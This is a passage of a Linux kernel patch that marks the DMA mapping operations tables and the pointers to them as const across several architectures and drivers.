-extern struct dma_map_ops *dma_ops;
-extern struct dma_map_ops *leon_dma_ops;
-extern struct dma_map_ops pci32_dma_ops;
+extern const struct dma_map_ops *dma_ops;
+extern const struct dma_map_ops *leon_dma_ops;
+extern const struct dma_map_ops pci32_dma_ops;
 
 extern struct bus_type pci_bus_type;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 #ifdef CONFIG_SPARC_LEON
 	if (sparc_cpu_model == sparc_leon)
diff --git a/arch/sparc/kernel/iommu.c b/arch/sparc/kernel/iommu.c
index 9df997995f6b..c63ba99ca551 100644
--- a/arch/sparc/kernel/iommu.c
+++ b/arch/sparc/kernel/iommu.c
@@ -741,7 +741,7 @@ static void dma_4u_sync_sg_for_cpu(struct device *dev,
 	spin_unlock_irqrestore(&iommu->lock, flags);
 }
 
-static struct dma_map_ops sun4u_dma_ops = {
+static const struct dma_map_ops sun4u_dma_ops = {
 	.alloc			= dma_4u_alloc_coherent,
 	.free			= dma_4u_free_coherent,
 	.map_page		= dma_4u_map_page,
@@ -752,7 +752,7 @@ static struct dma_map_ops sun4u_dma_ops = {
 	.sync_sg_for_cpu	= dma_4u_sync_sg_for_cpu,
 };
 
-struct dma_map_ops *dma_ops = &sun4u_dma_ops;
+const struct dma_map_ops *dma_ops = &sun4u_dma_ops;
 EXPORT_SYMBOL(dma_ops);
 
 int dma_supported(struct device *dev, u64 device_mask)
diff --git a/arch/sparc/kernel/ioport.c b/arch/sparc/kernel/ioport.c
index 6ffaec44931a..cf20033a1458 100644
--- a/arch/sparc/kernel/ioport.c
+++ b/arch/sparc/kernel/ioport.c
@@ -401,7 +401,7 @@ static void sbus_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
 	BUG();
 }
 
-static struct dma_map_ops sbus_dma_ops = {
+static const struct dma_map_ops sbus_dma_ops = {
 	.alloc			= sbus_alloc_coherent,
 	.free			= sbus_free_coherent,
 	.map_page		= sbus_map_page,
@@ -637,7 +637,7 @@ static void pci32_sync_sg_for_device(struct device *device, struct scatterlist *
 	}
 }
 
-struct dma_map_ops pci32_dma_ops = {
+const struct dma_map_ops pci32_dma_ops = {
 	.alloc			= pci32_alloc_coherent,
 	.free			= pci32_free_coherent,
 	.map_page		= pci32_map_page,
@@ -652,10 +652,10 @@ struct dma_map_ops pci32_dma_ops = {
 EXPORT_SYMBOL(pci32_dma_ops);
 
 /* leon re-uses pci32_dma_ops */
-struct dma_map_ops *leon_dma_ops = &pci32_dma_ops;
+const struct dma_map_ops *leon_dma_ops = &pci32_dma_ops;
 EXPORT_SYMBOL(leon_dma_ops);
 
-struct dma_map_ops *dma_ops = &sbus_dma_ops;
+const struct dma_map_ops *dma_ops = &sbus_dma_ops;
 EXPORT_SYMBOL(dma_ops);
 
 
diff --git a/arch/sparc/kernel/pci_sun4v.c b/arch/sparc/kernel/pci_sun4v.c
index f4daccd12bf5..68bec7c97cb8 100644
--- a/arch/sparc/kernel/pci_sun4v.c
+++ b/arch/sparc/kernel/pci_sun4v.c
@@ -669,7 +669,7 @@ static void dma_4v_unmap_sg(struct device *dev, struct scatterlist *sglist,
 	local_irq_restore(flags);
 }
 
-static struct dma_map_ops sun4v_dma_ops = {
+static const struct dma_map_ops sun4v_dma_ops = {
 	.alloc				= dma_4v_alloc_coherent,
 	.free				= dma_4v_free_coherent,
 	.map_page			= dma_4v_map_page,
diff --git a/arch/tile/include/asm/device.h b/arch/tile/include/asm/device.h
index 6ab8bf146d4c..25f23ac7d361 100644
--- a/arch/tile/include/asm/device.h
+++ b/arch/tile/include/asm/device.h
@@ -18,7 +18,7 @@
 
 struct dev_archdata {
 	/* DMA operations on that device */
-        struct dma_map_ops	*dma_ops;
+        const struct dma_map_ops	*dma_ops;
 
 	/* Offset of the DMA address from the PA. */
 	dma_addr_t		dma_offset;
diff --git a/arch/tile/include/asm/dma-mapping.h b/arch/tile/include/asm/dma-mapping.h
index 01ceb4a895b0..4a06cc75b856 100644
--- a/arch/tile/include/asm/dma-mapping.h
+++ b/arch/tile/include/asm/dma-mapping.h
@@ -24,12 +24,12 @@
 #define ARCH_HAS_DMA_GET_REQUIRED_MASK
 #endif
 
-extern struct dma_map_ops *tile_dma_map_ops;
-extern struct dma_map_ops *gx_pci_dma_map_ops;
-extern struct dma_map_ops *gx_legacy_pci_dma_map_ops;
-extern struct dma_map_ops *gx_hybrid_pci_dma_map_ops;
+extern const struct dma_map_ops *tile_dma_map_ops;
+extern const struct dma_map_ops *gx_pci_dma_map_ops;
+extern const struct dma_map_ops *gx_legacy_pci_dma_map_ops;
+extern const struct dma_map_ops *gx_hybrid_pci_dma_map_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	if (dev && dev->archdata.dma_ops)
 		return dev->archdata.dma_ops;
@@ -59,7 +59,7 @@ static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
 
 static inline void dma_mark_clean(void *addr, size_t size) {}
 
-static inline void set_dma_ops(struct device *dev, struct dma_map_ops *ops)
+static inline void set_dma_ops(struct device *dev, const struct dma_map_ops *ops)
 {
 	dev->archdata.dma_ops = ops;
 }
diff --git a/arch/tile/kernel/pci-dma.c b/arch/tile/kernel/pci-dma.c
index 24e0f8c21f2f..569bb6dd154a 100644
--- a/arch/tile/kernel/pci-dma.c
+++ b/arch/tile/kernel/pci-dma.c
@@ -329,7 +329,7 @@ tile_dma_supported(struct device *dev, u64 mask)
 	return 1;
 }
 
-static struct dma_map_ops tile_default_dma_map_ops = {
+static const struct dma_map_ops tile_default_dma_map_ops = {
 	.alloc = tile_dma_alloc_coherent,
 	.free = tile_dma_free_coherent,
 	.map_page = tile_dma_map_page,
@@ -344,7 +344,7 @@ static struct dma_map_ops tile_default_dma_map_ops = {
 	.dma_supported = tile_dma_supported
 };
 
-struct dma_map_ops *tile_dma_map_ops = &tile_default_dma_map_ops;
+const struct dma_map_ops *tile_dma_map_ops = &tile_default_dma_map_ops;
 EXPORT_SYMBOL(tile_dma_map_ops);
 
 /* Generic PCI DMA mapping functions */
@@ -516,7 +516,7 @@ tile_pci_dma_supported(struct device *dev, u64 mask)
 	return 1;
 }
 
-static struct dma_map_ops tile_pci_default_dma_map_ops = {
+static const struct dma_map_ops tile_pci_default_dma_map_ops = {
 	.alloc = tile_pci_dma_alloc_coherent,
 	.free = tile_pci_dma_free_coherent,
 	.map_page = tile_pci_dma_map_page,
@@ -531,7 +531,7 @@ static struct dma_map_ops tile_pci_default_dma_map_ops = {
 	.dma_supported = tile_pci_dma_supported
 };
 
-struct dma_map_ops *gx_pci_dma_map_ops = &tile_pci_default_dma_map_ops;
+const struct dma_map_ops *gx_pci_dma_map_ops = &tile_pci_default_dma_map_ops;
 EXPORT_SYMBOL(gx_pci_dma_map_ops);
 
 /* PCI DMA mapping functions for legacy PCI devices */
@@ -552,7 +552,7 @@ static void tile_swiotlb_free_coherent(struct device *dev, size_t size,
 	swiotlb_free_coherent(dev, size, vaddr, dma_addr);
 }
 
-static struct dma_map_ops pci_swiotlb_dma_ops = {
+static const struct dma_map_ops pci_swiotlb_dma_ops = {
 	.alloc = tile_swiotlb_alloc_coherent,
 	.free = tile_swiotlb_free_coherent,
 	.map_page = swiotlb_map_page,
@@ -567,7 +567,7 @@ static struct dma_map_ops pci_swiotlb_dma_ops = {
 	.mapping_error = swiotlb_dma_mapping_error,
 };
 
-static struct dma_map_ops pci_hybrid_dma_ops = {
+static const struct dma_map_ops pci_hybrid_dma_ops = {
 	.alloc = tile_swiotlb_alloc_coherent,
 	.free = tile_swiotlb_free_coherent,
 	.map_page = tile_pci_dma_map_page,
@@ -582,18 +582,18 @@ static struct dma_map_ops pci_hybrid_dma_ops = {
 	.dma_supported = tile_pci_dma_supported
 };
 
-struct dma_map_ops *gx_legacy_pci_dma_map_ops = &pci_swiotlb_dma_ops;
-struct dma_map_ops *gx_hybrid_pci_dma_map_ops = &pci_hybrid_dma_ops;
+const struct dma_map_ops *gx_legacy_pci_dma_map_ops = &pci_swiotlb_dma_ops;
+const struct dma_map_ops *gx_hybrid_pci_dma_map_ops = &pci_hybrid_dma_ops;
 #else
-struct dma_map_ops *gx_legacy_pci_dma_map_ops;
-struct dma_map_ops *gx_hybrid_pci_dma_map_ops;
+const struct dma_map_ops *gx_legacy_pci_dma_map_ops;
+const struct dma_map_ops *gx_hybrid_pci_dma_map_ops;
 #endif
 EXPORT_SYMBOL(gx_legacy_pci_dma_map_ops);
 EXPORT_SYMBOL(gx_hybrid_pci_dma_map_ops);
 
 int dma_set_mask(struct device *dev, u64 mask)
 {
-	struct dma_map_ops *dma_ops = get_dma_ops(dev);
+	const struct dma_map_ops *dma_ops = get_dma_ops(dev);
 
 	/*
 	 * For PCI devices with 64-bit DMA addressing capability, promote
@@ -623,7 +623,7 @@ EXPORT_SYMBOL(dma_set_mask);
 #ifdef CONFIG_ARCH_HAS_DMA_SET_COHERENT_MASK
 int dma_set_coherent_mask(struct device *dev, u64 mask)
 {
-	struct dma_map_ops *dma_ops = get_dma_ops(dev);
+	const struct dma_map_ops *dma_ops = get_dma_ops(dev);
 
 	/*
 	 * For PCI devices with 64-bit DMA addressing capability, promote
diff --git a/arch/unicore32/include/asm/dma-mapping.h b/arch/unicore32/include/asm/dma-mapping.h
index 4749854afd03..14d7729c7b73 100644
--- a/arch/unicore32/include/asm/dma-mapping.h
+++ b/arch/unicore32/include/asm/dma-mapping.h
@@ -21,9 +21,9 @@
 #include <asm/memory.h>
 #include <asm/cacheflush.h>
 
-extern struct dma_map_ops swiotlb_dma_map_ops;
+extern const struct dma_map_ops swiotlb_dma_map_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	return &swiotlb_dma_map_ops;
 }
diff --git a/arch/unicore32/mm/dma-swiotlb.c b/arch/unicore32/mm/dma-swiotlb.c
index 3e9f6489ba38..525413d6690e 100644
--- a/arch/unicore32/mm/dma-swiotlb.c
+++ b/arch/unicore32/mm/dma-swiotlb.c
@@ -31,7 +31,7 @@ static void unicore_swiotlb_free_coherent(struct device *dev, size_t size,
 	swiotlb_free_coherent(dev, size, vaddr, dma_addr);
 }
 
-struct dma_map_ops swiotlb_dma_map_ops = {
+const struct dma_map_ops swiotlb_dma_map_ops = {
 	.alloc = unicore_swiotlb_alloc_coherent,
 	.free = unicore_swiotlb_free_coherent,
 	.map_sg = swiotlb_map_sg_attrs,
diff --git a/arch/x86/include/asm/device.h b/arch/x86/include/asm/device.h
index 684ed6c3aa67..b2d0b4ced7e3 100644
--- a/arch/x86/include/asm/device.h
+++ b/arch/x86/include/asm/device.h
@@ -3,7 +3,7 @@
 
 struct dev_archdata {
 #ifdef CONFIG_X86_DEV_DMA_OPS
-	struct dma_map_ops *dma_ops;
+	const struct dma_map_ops *dma_ops;
 #endif
 #if defined(CONFIG_INTEL_IOMMU) || defined(CONFIG_AMD_IOMMU)
 	void *iommu; /* hook for IOMMU specific extension */
@@ -13,7 +13,7 @@ struct dev_archdata {
 #if defined(CONFIG_X86_DEV_DMA_OPS) && defined(CONFIG_PCI_DOMAINS)
 struct dma_domain {
 	struct list_head node;
-	struct dma_map_ops *dma_ops;
+	const struct dma_map_ops *dma_ops;
 	int domain_nr;
 };
 void add_dma_domain(struct dma_domain *domain);
diff --git a/arch/x86/include/asm/dma-mapping.h b/arch/x86/include/asm/dma-mapping.h
index 44461626830e..5e4772886a1e 100644
--- a/arch/x86/include/asm/dma-mapping.h
+++ b/arch/x86/include/asm/dma-mapping.h
@@ -25,9 +25,9 @@ extern int iommu_merge;
 extern struct device x86_dma_fallback_dev;
 extern int panic_on_overflow;
 
-extern struct dma_map_ops *dma_ops;
+extern const struct dma_map_ops *dma_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 #ifndef CONFIG_X86_DEV_DMA_OPS
 	return dma_ops;
diff --git a/arch/x86/include/asm/iommu.h b/arch/x86/include/asm/iommu.h
index 345c99cef152..793869879464 100644
--- a/arch/x86/include/asm/iommu.h
+++ b/arch/x86/include/asm/iommu.h
@@ -1,7 +1,7 @@
 #ifndef _ASM_X86_IOMMU_H
 #define _ASM_X86_IOMMU_H
 
-extern struct dma_map_ops nommu_dma_ops;
+extern const struct dma_map_ops nommu_dma_ops;
 extern int force_iommu, no_iommu;
 extern int iommu_detected;
 extern int iommu_pass_through;
diff --git a/arch/x86/kernel/amd_gart_64.c b/arch/x86/kernel/amd_gart_64.c
index 63ff468a7986..82dfe32faaf4 100644
--- a/arch/x86/kernel/amd_gart_64.c
+++ b/arch/x86/kernel/amd_gart_64.c
@@ -695,7 +695,7 @@ static __init int init_amd_gatt(struct agp_kern_info *info)
 	return -1;
 }
 
-static struct dma_map_ops gart_dma_ops = {
+static const struct dma_map_ops gart_dma_ops = {
 	.map_sg				= gart_map_sg,
 	.unmap_sg			= gart_unmap_sg,
 	.map_page			= gart_map_page,
diff --git a/arch/x86/kernel/pci-calgary_64.c b/arch/x86/kernel/pci-calgary_64.c
index 5d400ba1349d..17f180148c80 100644
--- a/arch/x86/kernel/pci-calgary_64.c
+++ b/arch/x86/kernel/pci-calgary_64.c
@@ -478,7 +478,7 @@ static void calgary_free_coherent(struct device *dev, size_t size,
 	free_pages((unsigned long)vaddr, get_order(size));
 }
 
-static struct dma_map_ops calgary_dma_ops = {
+static const struct dma_map_ops calgary_dma_ops = {
 	.alloc = calgary_alloc_coherent,
 	.free = calgary_free_coherent,
 	.map_sg = calgary_map_sg,
diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
index d30c37750765..76f4c039baae 100644
--- a/arch/x86/kernel/pci-dma.c
+++ b/arch/x86/kernel/pci-dma.c
@@ -17,7 +17,7 @@
 
 static int forbid_dac __read_mostly;
 
-struct dma_map_ops *dma_ops = &nommu_dma_ops;
+const struct dma_map_ops *dma_ops = &nommu_dma_ops;
 EXPORT_SYMBOL(dma_ops);
 
 static int iommu_sac_force __read_mostly;
@@ -214,7 +214,7 @@ early_param("iommu", iommu_setup);
 
 int dma_supported(struct device *dev, u64 mask)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 
 #ifdef CONFIG_PCI
 	if (mask > 0xffffffff && forbid_dac > 0) {
diff --git a/arch/x86/kernel/pci-nommu.c b/arch/x86/kernel/pci-nommu.c
index 00e71ce396a8..a88952ef371c 100644
--- a/arch/x86/kernel/pci-nommu.c
+++ b/arch/x86/kernel/pci-nommu.c
@@ -88,7 +88,7 @@ static void nommu_sync_sg_for_device(struct device *dev,
 	flush_write_buffers();
 }
 
-struct dma_map_ops nommu_dma_ops = {
+const struct dma_map_ops nommu_dma_ops = {
 	.alloc			= dma_generic_alloc_coherent,
 	.free			= dma_generic_free_coherent,
 	.map_sg			= nommu_map_sg,
diff --git a/arch/x86/kernel/pci-swiotlb.c b/arch/x86/kernel/pci-swiotlb.c
index 410efb2c7b80..1e23577e17cf 100644
--- a/arch/x86/kernel/pci-swiotlb.c
+++ b/arch/x86/kernel/pci-swiotlb.c
@@ -45,7 +45,7 @@ void x86_swiotlb_free_coherent(struct device *dev, size_t size,
 		dma_generic_free_coherent(dev, size, vaddr, dma_addr, attrs);
 }
 
-static struct dma_map_ops swiotlb_dma_ops = {
+static const struct dma_map_ops swiotlb_dma_ops = {
 	.mapping_error = swiotlb_dma_mapping_error,
 	.alloc = x86_swiotlb_alloc_coherent,
 	.free = x86_swiotlb_free_coherent,
diff --git a/arch/x86/pci/sta2x11-fixup.c b/arch/x86/pci/sta2x11-fixup.c
index 052c1cb76305..aa3828823170 100644
--- a/arch/x86/pci/sta2x11-fixup.c
+++ b/arch/x86/pci/sta2x11-fixup.c
@@ -179,7 +179,7 @@ static void *sta2x11_swiotlb_alloc_coherent(struct device *dev,
 }
 
 /* We have our own dma_ops: the same as swiotlb but from alloc (above) */
-static struct dma_map_ops sta2x11_dma_ops = {
+static const struct dma_map_ops sta2x11_dma_ops = {
 	.alloc = sta2x11_swiotlb_alloc_coherent,
 	.free = x86_swiotlb_free_coherent,
 	.map_page = swiotlb_map_page,
diff --git a/arch/x86/xen/pci-swiotlb-xen.c b/arch/x86/xen/pci-swiotlb-xen.c
index a0b36a9d5df1..42b08f8fc2ca 100644
--- a/arch/x86/xen/pci-swiotlb-xen.c
+++ b/arch/x86/xen/pci-swiotlb-xen.c
@@ -18,7 +18,7 @@
 
 int xen_swiotlb __read_mostly;
 
-static struct dma_map_ops xen_swiotlb_dma_ops = {
+static const struct dma_map_ops xen_swiotlb_dma_ops = {
 	.alloc = xen_swiotlb_alloc_coherent,
 	.free = xen_swiotlb_free_coherent,
 	.sync_single_for_cpu = xen_swiotlb_sync_single_for_cpu,
diff --git a/arch/xtensa/include/asm/device.h b/arch/xtensa/include/asm/device.h
index fe1f5c878493..a77d45d39f35 100644
--- a/arch/xtensa/include/asm/device.h
+++ b/arch/xtensa/include/asm/device.h
@@ -10,7 +10,7 @@ struct dma_map_ops;
 
 struct dev_archdata {
 	/* DMA operations on that device */
-	struct dma_map_ops *dma_ops;
+	const struct dma_map_ops *dma_ops;
 };
 
 struct pdev_archdata {
diff --git a/arch/xtensa/include/asm/dma-mapping.h b/arch/xtensa/include/asm/dma-mapping.h
index 3fc1170a6488..50d23106cce0 100644
--- a/arch/xtensa/include/asm/dma-mapping.h
+++ b/arch/xtensa/include/asm/dma-mapping.h
@@ -18,9 +18,9 @@
 
 #define DMA_ERROR_CODE		(~(dma_addr_t)0x0)
 
-extern struct dma_map_ops xtensa_dma_map_ops;
+extern const struct dma_map_ops xtensa_dma_map_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	if (dev && dev->archdata.dma_ops)
 		return dev->archdata.dma_ops;
diff --git a/arch/xtensa/kernel/pci-dma.c b/arch/xtensa/kernel/pci-dma.c
index 70e362e6038e..ecec5265a66d 100644
--- a/arch/xtensa/kernel/pci-dma.c
+++ b/arch/xtensa/kernel/pci-dma.c
@@ -249,7 +249,7 @@ int xtensa_dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
 	return 0;
 }
 
-struct dma_map_ops xtensa_dma_map_ops = {
+const struct dma_map_ops xtensa_dma_map_ops = {
 	.alloc = xtensa_dma_alloc,
 	.free = xtensa_dma_free,
 	.map_page = xtensa_map_page,
diff --git a/drivers/iommu/amd_iommu.c b/drivers/iommu/amd_iommu.c
index 3ef0f42984f2..3703fb9db419 100644
--- a/drivers/iommu/amd_iommu.c
+++ b/drivers/iommu/amd_iommu.c
@@ -117,7 +117,7 @@ static const struct iommu_ops amd_iommu_ops;
 static ATOMIC_NOTIFIER_HEAD(ppr_notifier);
 int amd_iommu_max_glx_val = -1;
 
-static struct dma_map_ops amd_iommu_dma_ops;
+static const struct dma_map_ops amd_iommu_dma_ops;
 
 /*
  * This struct contains device specific data for the IOMMU
@@ -2728,7 +2728,7 @@ static int amd_iommu_dma_supported(struct device *dev, u64 mask)
 	return check_device(dev);
 }
 
-static struct dma_map_ops amd_iommu_dma_ops = {
+static const struct dma_map_ops amd_iommu_dma_ops = {
 	.alloc		= alloc_coherent,
 	.free		= free_coherent,
 	.map_page	= map_page,
diff --git a/drivers/misc/mic/bus/mic_bus.c b/drivers/misc/mic/bus/mic_bus.c
index be37890abb93..c4b27a25662a 100644
--- a/drivers/misc/mic/bus/mic_bus.c
+++ b/drivers/misc/mic/bus/mic_bus.c
@@ -143,7 +143,7 @@ static void mbus_release_dev(struct device *d)
 }
 
 struct mbus_device *
-mbus_register_device(struct device *pdev, int id, struct dma_map_ops *dma_ops,
+mbus_register_device(struct device *pdev, int id, const struct dma_map_ops *dma_ops,
 		     struct mbus_hw_ops *hw_ops, int index,
 		     void __iomem *mmio_va)
 {
diff --git a/drivers/misc/mic/bus/scif_bus.c b/drivers/misc/mic/bus/scif_bus.c
index ff6e01c25810..e5d377e97c86 100644
--- a/drivers/misc/mic/bus/scif_bus.c
+++ b/drivers/misc/mic/bus/scif_bus.c
@@ -138,7 +138,7 @@ static void scif_release_dev(struct device *d)
 }
 
 struct scif_hw_dev *
-scif_register_device(struct device *pdev, int id, struct dma_map_ops *dma_ops,
+scif_register_device(struct device *pdev, int id, const struct dma_map_ops *dma_ops,
 		     struct scif_hw_ops *hw_ops, u8 dnode, u8 snode,
 		     struct mic_mw *mmio, struct mic_mw *aper, void *dp,
 		     void __iomem *rdp, struct dma_chan **chan, int num_chan,
diff --git a/drivers/misc/mic/bus/scif_bus.h b/drivers/misc/mic/bus/scif_bus.h
index 94f29ac608b6..ff59568219ad 100644
--- a/drivers/misc/mic/bus/scif_bus.h
+++ b/drivers/misc/mic/bus/scif_bus.h
@@ -113,7 +113,7 @@ int scif_register_driver(struct scif_driver *driver);
 void scif_unregister_driver(struct scif_driver *driver);
 struct scif_hw_dev *
 scif_register_device(struct device *pdev, int id,
-		     struct dma_map_ops *dma_ops,
+		     const struct dma_map_ops *dma_ops,
 		     struct scif_hw_ops *hw_ops, u8 dnode, u8 snode,
 		     struct mic_mw *mmio, struct mic_mw *aper,
 		     void *dp, void __iomem *rdp,
diff --git a/drivers/misc/mic/bus/vop_bus.c b/drivers/misc/mic/bus/vop_bus.c
index 303da222f5b6..b59551f5db65 100644
--- a/drivers/misc/mic/bus/vop_bus.c
+++ b/drivers/misc/mic/bus/vop_bus.c
@@ -154,7 +154,7 @@ vop_register_device(struct device *pdev, int id,
 	vdev->dev.parent = pdev;
 	vdev->id.device = id;
 	vdev->id.vendor = VOP_DEV_ANY_ID;
-	vdev->dev.archdata.dma_ops = (struct dma_map_ops *)dma_ops;
+	vdev->dev.archdata.dma_ops = (const struct dma_map_ops *)dma_ops;
 	vdev->dev.dma_mask = &vdev->dev.coherent_dma_mask;
 	dma_set_mask(&vdev->dev, DMA_BIT_MASK(64));
 	vdev->dev.release = vop_release_dev;
diff --git a/drivers/misc/mic/host/mic_boot.c b/drivers/misc/mic/host/mic_boot.c
index 9599d732aff3..c327985c9523 100644
--- a/drivers/misc/mic/host/mic_boot.c
+++ b/drivers/misc/mic/host/mic_boot.c
@@ -245,7 +245,7 @@ static void __mic_dma_unmap_sg(struct device *dev,
 	dma_unmap_sg(&mdev->pdev->dev, sg, nents, dir);
 }
 
-static struct dma_map_ops __mic_dma_ops = {
+static const struct dma_map_ops __mic_dma_ops = {
 	.alloc = __mic_dma_alloc,
 	.free = __mic_dma_free,
 	.map_page = __mic_dma_map_page,
@@ -344,7 +344,7 @@ mic_dma_unmap_page(struct device *dev, dma_addr_t dma_addr,
 	mic_unmap_single(mdev, dma_addr, size);
 }
 
-static struct dma_map_ops mic_dma_ops = {
+static const struct dma_map_ops mic_dma_ops = {
 	.map_page = mic_dma_map_page,
 	.unmap_page = mic_dma_unmap_page,
 };
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 553ef8a5d588..aeb073b5fe16 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -1011,7 +1011,7 @@ ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	DBG_RUN_SG("%s() DONE (nents %d)\n", __func__, nents);
 }
 
-static struct dma_map_ops ccio_ops = {
+static const struct dma_map_ops ccio_ops = {
 	.dma_supported =	ccio_dma_supported,
 	.alloc =		ccio_alloc,
 	.free =			ccio_free,
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 151b86b6d2e2..33385e574433 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -1069,7 +1069,7 @@ sba_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 
 }
 
-static struct dma_map_ops sba_ops = {
+static const struct dma_map_ops sba_ops = {
 	.dma_supported =	sba_dma_supported,
 	.alloc =		sba_alloc,
 	.free =			sba_free,
diff --git a/drivers/pci/host/vmd.c b/drivers/pci/host/vmd.c
index 18ef1a93c10a..e27ad2a3bd33 100644
--- a/drivers/pci/host/vmd.c
+++ b/drivers/pci/host/vmd.c
@@ -282,7 +282,7 @@ static struct device *to_vmd_dev(struct device *dev)
 	return &vmd->dev->dev;
 }
 
-static struct dma_map_ops *vmd_dma_ops(struct device *dev)
+static const struct dma_map_ops *vmd_dma_ops(struct device *dev)
 {
 	return get_dma_ops(to_vmd_dev(dev));
 }
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index 10c5a17b1f51..f1da68b82c63 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -127,7 +127,7 @@ struct dma_map_ops {
 	int is_phys;
 };
 
-extern struct dma_map_ops dma_noop_ops;
+extern const struct dma_map_ops dma_noop_ops;
 
 #define DMA_BIT_MASK(n)	(((n) == 64) ? ~0ULL : ((1ULL<<(n))-1))
 
@@ -170,8 +170,8 @@ int dma_mmap_from_coherent(struct device *dev, struct vm_area_struct *vma,
  * dma dependent code.  Code that depends on the dma-mapping
  * API needs to set 'depends on HAS_DMA' in its Kconfig
  */
-extern struct dma_map_ops bad_dma_ops;
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+extern const struct dma_map_ops bad_dma_ops;
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	return &bad_dma_ops;
 }
@@ -182,7 +182,7 @@ static inline dma_addr_t dma_map_single_attrs(struct device *dev, void *ptr,
 					      enum dma_data_direction dir,
 					      unsigned long attrs)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 	dma_addr_t addr;
 
 	kmemcheck_mark_initialized(ptr, size);
@@ -201,7 +201,7 @@ static inline void dma_unmap_single_attrs(struct device *dev, dma_addr_t addr,
 					  enum dma_data_direction dir,
 					  unsigned long attrs)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 
 	BUG_ON(!valid_dma_direction(dir));
 	if (ops->unmap_page)
@@ -217,7 +217,7 @@ static inline int dma_map_sg_attrs(struct device *dev, struct scatterlist *sg,
 				   int nents, enum dma_data_direction dir,
 				   unsigned long attrs)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 	int i, ents;
 	struct scatterlist *s;
 
@@ -235,7 +235,7 @@ static inline void dma_unmap_sg_attrs(struct device *dev, struct scatterlist *sg
 				      int nents, enum dma_data_direction dir,
 				      unsigned long attrs)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 
 	BUG_ON(!valid_dma_direction(dir));
 	debug_dma_unmap_sg(dev, sg, nents, dir);
@@ -249,7 +249,7 @@ static inline dma_addr_t dma_map_page_attrs(struct device *dev,
 					    enum dma_data_direction dir,
 					    unsigned long attrs)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 	dma_addr_t addr;
 
 	kmemcheck_mark_initialized(page_address(page) + offset, size);
@@ -265,7 +265,7 @@ static inline void dma_unmap_page_attrs(struct device *dev,
 					enum dma_data_direction dir,
 					unsigned long attrs)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 
 	BUG_ON(!valid_dma_direction(dir));
 	if (ops->unmap_page)
@@ -279,7 +279,7 @@ static inline dma_addr_t dma_map_resource(struct device *dev,
 					  enum dma_data_direction dir,
 					  unsigned long attrs)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 	dma_addr_t addr;
 
 	BUG_ON(!valid_dma_direction(dir));
@@ -300,7 +300,7 @@ static inline void dma_unmap_resource(struct device *dev, dma_addr_t addr,
 				      size_t size, enum dma_data_direction dir,
 				      unsigned long attrs)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 
 	BUG_ON(!valid_dma_direction(dir));
 	if (ops->unmap_resource)
@@ -312,7 +312,7 @@ static inline void dma_sync_single_for_cpu(struct device *dev, dma_addr_t addr,
 					   size_t size,
 					   enum dma_data_direction dir)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 
 	BUG_ON(!valid_dma_direction(dir));
 	if (ops->sync_single_for_cpu)
@@ -324,7 +324,7 @@ static inline void dma_sync_single_for_device(struct device *dev,
 					      dma_addr_t addr, size_t size,
 					      enum dma_data_direction dir)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 
 	BUG_ON(!valid_dma_direction(dir));
 	if (ops->sync_single_for_device)
@@ -364,7 +364,7 @@ static inline void
 dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg,
 		    int nelems, enum dma_data_direction dir)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 
 	BUG_ON(!valid_dma_direction(dir));
 	if (ops->sync_sg_for_cpu)
@@ -376,7 +376,7 @@ static inline void
 dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
 		       int nelems, enum dma_data_direction dir)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 
 	BUG_ON(!valid_dma_direction(dir));
